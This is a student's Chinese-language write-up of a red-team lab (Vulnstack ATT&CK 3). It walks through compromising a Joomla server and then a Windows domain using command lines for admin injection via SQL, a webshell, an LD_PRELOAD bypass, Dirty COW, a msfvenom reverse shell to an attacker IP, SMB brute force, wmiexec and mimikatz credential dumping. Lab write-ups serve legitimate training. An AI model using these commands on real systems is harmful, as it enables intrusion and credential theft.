ATT&CK實戰系列——紅隊實戰(三)

1、環境搭建

靶機下載地址 http://vulnstack.qiyuanxuetang.net/vuln/detail/5/php

本次環境爲黑盒測試,不提供虛擬機帳號密碼,centos 出網機 ip 爲 192.168.1.110,目標是域控內的一份重要文件。html

全部主機解壓後都是掛起狀態,配好網絡環境後運行五臺機器便可。python

 

2、漏洞利用

2.1修改模板getshell

出網機的 80 端口是一個 joomla! 搭建的網站mysql

 

直接使用 kali 的 joomscan 工具掃描一下,發現版本爲 3.9.12,後臺登陸目錄 http://192.168.1.110/administrator/,敏感文件泄露目錄 http://192.168.1.110/configuration.php~linux

joomscan -u http://192.168.1.110/

 

獲得一個 mysql 帳戶 testuser/cvcvgjASD!@git

 

nmap 掃描一下發現 3306 端口開放,使用得到的帳戶密碼遠程登陸數據庫。由於 joomla 能夠在後臺模板 getshell,因此嘗試查找管理員的帳號密碼登陸後臺,可是數據表中存儲的管理員密碼是加密的,須要換一種思路。github

 

根據 joomla 官方文檔 https://docs.joomla.org/How_do_you_recover_or_reset_your_admin_password%3F/zh-cn 執行 sql 語句在數據庫中添加 admin2/secret 超級管理員,注意 sql 語句修改成目標數據表的前綴。web

INSERT INTO `am2zu_users`
   (`name`, `username`, `password`, `params`, `registerDate`, `lastvisitDate`, `lastResetTime`)
VALUES ('Administrator2', 'admin2',
 'd2064d358136996bd22421584a7cb33e:trd7TvKHx6dMeoMmBVxYmg0vuXEA4199', '', NOW(), NOW(), NOW());
INSERT INTO `am2zu_user_usergroup_map` (`user_id`,`group_id`)
VALUES (LAST_INSERT_ID(),'8');

 

執行語句後在數據表能夠看到帳戶已經成功添加了。sql

 

admin2/secret 登陸後臺,Extensions->Templates->Templates->Beez3 Details and Files->New File 新建文件 shell.php,寫入一句話木馬。shell

 

 

蟻劍鏈接 webshell。

 

2.2bypass disable_functions

虛擬終端執行系統命令返回 ret=127,懷疑服務端 disable_functions 禁用了命令執行函數。

 

phpinfo 查看一下禁用了這些函數,嘗試利用LD_PRELOAD繞過。

 

用蟻劍把 bypass_diablefunc.php 和 bypass_diablefunc_x64.so 上傳到目標的同一目錄,注意 .so 文件須要根據目標系統架構選擇,而後訪問 bypass_diablefunc.php,cmd 是執行的命令,outpath是讀寫權限的目錄,sopath是 .so 文件的絕對路徑。

工具下載地址: https://github.com/yangyangwithgnu/bypass_disablefunc_via_LD_PRELOAD

payload 以下:

http://192.168.1.110/templates/beez3/bypass_disablefunc.php?cmd=whoami&outpath=/tmp/baji&sopath=/var/www/html/templates/beez3/bypass_disablefunc_x64.so

 

查看當前 ip 爲 192.168.93.120,內核是 ubuntu,說明真正的 web 服務後端在 ubuntu。

 

2.3敏感文件泄露

因爲 ubuntu 內核比較新,暫時不考慮提權。翻找文件發現 test.txt 給出了一個用戶的帳號密碼。

 

能夠成功登陸 centos 出網機。

 

3、內網滲透

3.1髒牛提權

拿到出網機後想繼續橫向移動,通常是在跳板機搭建 socks 代理,因此須要將 centos 提權,查看 centos 內核版本恰好在髒牛提權的範圍內。

 

將 dirty.c 上傳到 centos,gcc -pthread dirty.c -o dirty -lcrypt 命令編譯生成 dirty 可執行文件,執行 ./dirty password 提權,exp 下載地址:https://github.com/FireFart/dirtycow

 

切換 firefart/baji 用戶,成功提權。

 

3.2msf上線

攻擊機生成 shell.elf,設置監聽,將 elf 文件上傳至 centos,執行後攻擊機成功得到一個 meterpreter。

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.1.8 LPORT=4444 -f elf > shell.elf

 

3.3存活主機探測

由於 bypass disable_functions 後獲得 ubuntu ip 爲 192.168.93.120,因此添加路由,meterpreter 放在後臺,進行存活主機探測。

run autoroute -s 192.168.93.0/24
background
use auxiliary/scanner/smb/smb_version
set rhosts 192.168.93.0/24
exploit

 

獲得了三臺加入TEST域的 windows 主機

  • 192.168.93.10 windows 2012
  • 192.168.93.20 windows 2008
  • 192.168.93.30 windows 7

 

 

嘗試爆破 windows 2008 的本地管理員,參考其餘師傅的文章爆出來密碼爲 123qwe!ASD(我沒有包括這個密碼的字典...)

use auxiliary/scanner/smb/smb_login
set rhosts 192.168.93.20
set SMBUser administrator
set PASS_FILE /usr/share/wordlists/top1000.txt
run

 

3.4內網信息蒐集

在爆破密碼成功的基礎上,使用 msf 開個 socks4 正向代理,配合 proxychains。

use auxiliary/server/socks4a
set srvport 1080
exploit

 

wmi 出如今全部的 windows 操做系統中,由一組強大的工具集合組成,用於管理本地或遠程的 windows 系統。攻擊者使用 wmi 攻擊時 windows 系統默認不會在日誌中記錄這些操做,能夠作到無日誌、攻擊腳本無需寫入到磁盤,增長了隱蔽性。

wmiexec 執行命令,蒐集信息,wmiexec.py 下載地址 https://github.com/SecureAuthCorp/impacket/blob/master/examples/wmiexec.py

proxychains python3 wmiexec.py -debug 'administrator:123qwe!ASD@192.168.93.20'

 

ipconfig /all 知道 dns 服務器即域控是 192.168.93.10。那麼基本的內網拓撲也清楚了,一臺 centos 反向代理了一個 web,centos 有兩個網卡,web 服務後端在 ubuntu 上,三臺 windows 組成域環境,ip 分別是 192.168.93.10,192.168.93.20,192.168.93.30,域控爲 windows server 2012,ip 爲 192.168.93.10。

(反向代理服務器位於用戶與目標服務器之間,可是對於用戶而言,反向代理服務器就至關於目標服務器,即用戶直接訪問反向代理服務器就能夠得到目標服務器的資源。反向代理的工做原理是,代理服務器來接受客戶端的網絡訪問鏈接請求,而後服務器將請求有策略的轉發給網絡中實際工做的業務服務器,並將從業務服務器處理的結果,返回給網絡上發起鏈接請求的客戶端。更多解釋 https://www.zhihu.com/question/36412304

反向代理優勢:

  • 提升了內部服務器的安全
  • 加快了對內部服務器的訪問速度
  • 節約了有限的IP資源

 

tasklist /V 查看進程(顯示對應用戶),發現TEST域進程,能夠嘗試抓密碼。

 

3.5mimikatz獲取帳號密碼

kali 使用 smbclient 經過代理鏈接 windows server 2008 上傳 mimikatz。下載地址 https://github.com/gentilkiwi/mimikatz/releases

proxychains smbclient //192.168.93.20/C$ -U administrator
put mimikatz.exe

 

wmiexec 遠程執行 mimikatz 成功獲得域管理員密碼。

mimikatz.exe "privilege::debug" "log" "sekurlsa::logonpasswords" "exit" > log.log

 

3.6ipc遠程鏈接

IPC$(Internet Process Connection)是共享「命名管道」的資源,它是爲了讓進程間通訊而開放的命名管道,能夠經過驗證用戶名和密碼得到相應的權限,在遠程管理計算機和查看計算機的共享資源時使用。利用IPC$鏈接者能夠與目標主機創建一個鏈接,獲得目標主機上的目錄結構、用戶列表等信息。

利用條件:

  1. 管理員開啓了默認共享
  2. 139或445端口開放

 

ipc 遠程鏈接讀 flag.txt。

net use \\192.168.93.10\admin$ zxcASDqw123!! /user:test\administrator   #系統默認路徑c:\windows\下
dir \\192.168.93.10\C$\users\administrator\Documents
type \\192.168.93.10\C$\users\administrator\Documents\flag.txt

 

4、總結

經過這個靶機瞭解了一些新知識,實驗了幾個據說過可是還沒試過的經典操做。若是有問題歡迎師傅們批評指正。

總結還想寫一點點別的,如今是大三暑假,九月份就秋招了,喜歡滲透可是技術還挺菜的hhhh。但願在畢業後能夠作滲透測試的工做,很想很想喜歡的事能夠成爲工做啊:)

 

 

參考文章:

http://www.javashuo.com/article/p-xinhijkr-nk.html

https://www.freebuf.com/web/192052.html

https://glotozz.github.io/2020/05/19/vulstack-3/

https://xz.aliyun.com/t/6988

相關文章
相關標籤/搜索